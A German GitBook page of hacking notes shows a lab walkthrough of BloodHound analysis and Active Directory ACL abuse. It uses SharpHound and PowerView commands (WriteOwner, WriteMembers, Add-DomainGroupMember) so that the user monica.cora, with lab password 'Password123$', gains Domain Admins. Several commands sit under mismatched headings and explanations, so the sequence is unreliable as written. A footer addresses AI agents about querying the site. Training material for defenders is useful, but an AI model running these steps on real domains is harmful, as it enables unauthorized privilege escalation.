> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).

# Analyse mit BloodHound

Sicherheitsnotizen zu Active Directory für „Analyse mit BloodHound“, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.

Nachdem die verwundbaren Objekte generiert wurden, können Sie eine SharpHound-Sammlung neu starten:

{% code overflow="wrap" %}

```powershell
 . ./SharpHound.exe
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42ec4bdb2b67e35e6bbdbde121a4a5c4bd3f5f94%2Fimage%20(3252).png?alt=media" alt=""><figcaption></figcaption></figure>

SharpHound erzeugt eine `.zip` Datei vorhanden sind.

Dann starten Sie BloodHound:

{% code overflow="wrap" %}

```powershell
bloodhound --no-sandbox &
```

{% endcode %}

Dann importieren wir die `.zip` Datei in BloodHound.

Nach dem Import sehen wir:

* neue Benutzer;
* neue Gruppen;
* die neuen ACLs;
* die Pfade zu Berechtigungen;
* Beziehungen zwischen Objekten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62a6bef0ed60294eea0431ff64f9df052c5b1430%2Fimage%20(3253).png?alt=media" alt=""><figcaption></figcaption></figure>

### Einen Pfad zu Domain Admin finden

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141f9130a08284b810707af76f8a5d04f5cc1bad%2Fimage%20(3254).png?alt=media" alt=""><figcaption></figcaption></figure>

In BloodHound verwenden wir die Analyse:

{% code overflow="wrap" %}

```bash
Kürzeste Pfade zu Domain Admins finden
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f58d74c3c15f0bb7e553657036bf28985d9b994%2Fimage%20(3255).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Abfrage findet die kürzesten Pfade zur Gruppe der Domänenadministratoren.

Im Labor zeigt BloodHound beispielsweise eine Gruppe:

```bash
IT ADMINS
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f021a3f956b16127d29fb8cd97262ef6374a7e7a%2Fimage%20(3256).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Gruppe enthält mehrere Benutzer, wie zum Beispiel:

```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de25e094441c4a1e68d2f90856a59a48eb792b96%2Fimage%20(3257).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir können dann die Beziehungen zwischen Gruppen analysieren, zum Beispiel:

```wasm
Project Management -> IT ADMINS -> Domain Admins
```

Das Ziel ist zu verstehen, wie eine Fehlkonfiguration von Berechtigungen zu einer privilegierten Gruppe führen kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d427a9cb26d8449b3d634f029222d496d9e57c%2Fimage%20(3259).png?alt=media" alt=""><figcaption></figcaption></figure>

### Ausnutzung einer fehlerhaften ACL-Konfiguration

> Dieser Schritt wird nur in einem autorisierten Labor durchgeführt.

In diesem Szenario hat der Benutzer `monica.cora` einen nutzbaren Pfad zur Gruppe:

```
IT ADMINS
```

Wir werden unsere Rechte nutzen, um die Kontrolle über diese Gruppe zu übernehmen und dann zu einer privilegierteren Gruppe überzugehen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-454c5a983945e6fc0cf111dc391463301d81497b%2Fimage%20(3267).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verbindung mit dem Benutzer monica.cora

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea0862808be87f0ceb5fa1c091749e6c05a3eb27%2Fimage%20(3268).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verbinden uns mit dem Benutzer:

{% code overflow="wrap" %}

```
monica.cora
```

{% endcode %}

Im Labor verwendetes Passwort:

```
Password123$
```

Wir öffnen mit diesem Benutzer eine PowerShell-Sitzung:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">runas /user:whoami/monica.cora /netonly powershell

<strong>. C:/Users/user1/Desktop/PowerView.ps1
</strong></code></pre>

Erklärung:

* `runas` startet ein Programm mit einem anderen Benutzer;
* `/netonly` verwendet diese Anmeldeinformationen nur für den Netzwerkzugriff;
* `powershell` öffnet eine neue PowerShell-Sitzung.

### Laden von PowerView

In der neuen PowerShell-Sitzung:

{% code overflow="wrap" %}

```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```

{% endcode %}

Dies lädt PowerView in `monica.cora`Sitzung.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7ae982018e45890b5ad285bf8cdf180bc1f73e%2Fimage%20(3269).png?alt=media" alt=""><figcaption></figcaption></figure>

### Ausnutzung des WriteOwner-Rechts

Das **WriteOwner** Das Recht ermöglicht es Ihnen, den Besitzer eines Active-Directory-Objekts zu ändern.

In diesem Szenario, `monica.cora` wird zum Besitzer der Gruppe:

```
IT ADMINS
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c1c95efc75306c3040a6438d595aad97236813e%2Fimage%20(3270).png?alt=media" alt=""><figcaption></figcaption></figure>

Reihenfolge :

{% code overflow="wrap" %}

```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```

{% endcode %}

Nach diesem Schritt wird der Besitzer des Objekts:

```
WHOAMI/monica.cora
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2062e25917cf83115c09ae97aec93e0c5c22f65%2Fimage%20(3271).png?alt=media" alt=""><figcaption></figcaption></figure>

### WriteMembers-Recht hinzugefügt

Der Besitzer eines Objekts kann in der Regel dessen DACL ändern.

Wir fügen daher hinzu `monica.cora` das Recht, die Mitglieder der `IT ADMINS` Gruppe angehören.

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```

{% endcode %}

Dieses Recht ermöglicht `monica.cora` Mitglieder zur `IT ADMINS` Gruppe angehören.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-277c938bedbee7bcd50768ac00d7594927ec0ebd%2Fimage%20(3272).png?alt=media" alt=""><figcaption></figcaption></figure>

### monica.cora zur IT ADMINS-Gruppe hinzugefügt

Wir fügen nun `monica.cora` zur Gruppe hinzu:

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```

{% endcode %}

Zur Überprüfung:

```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
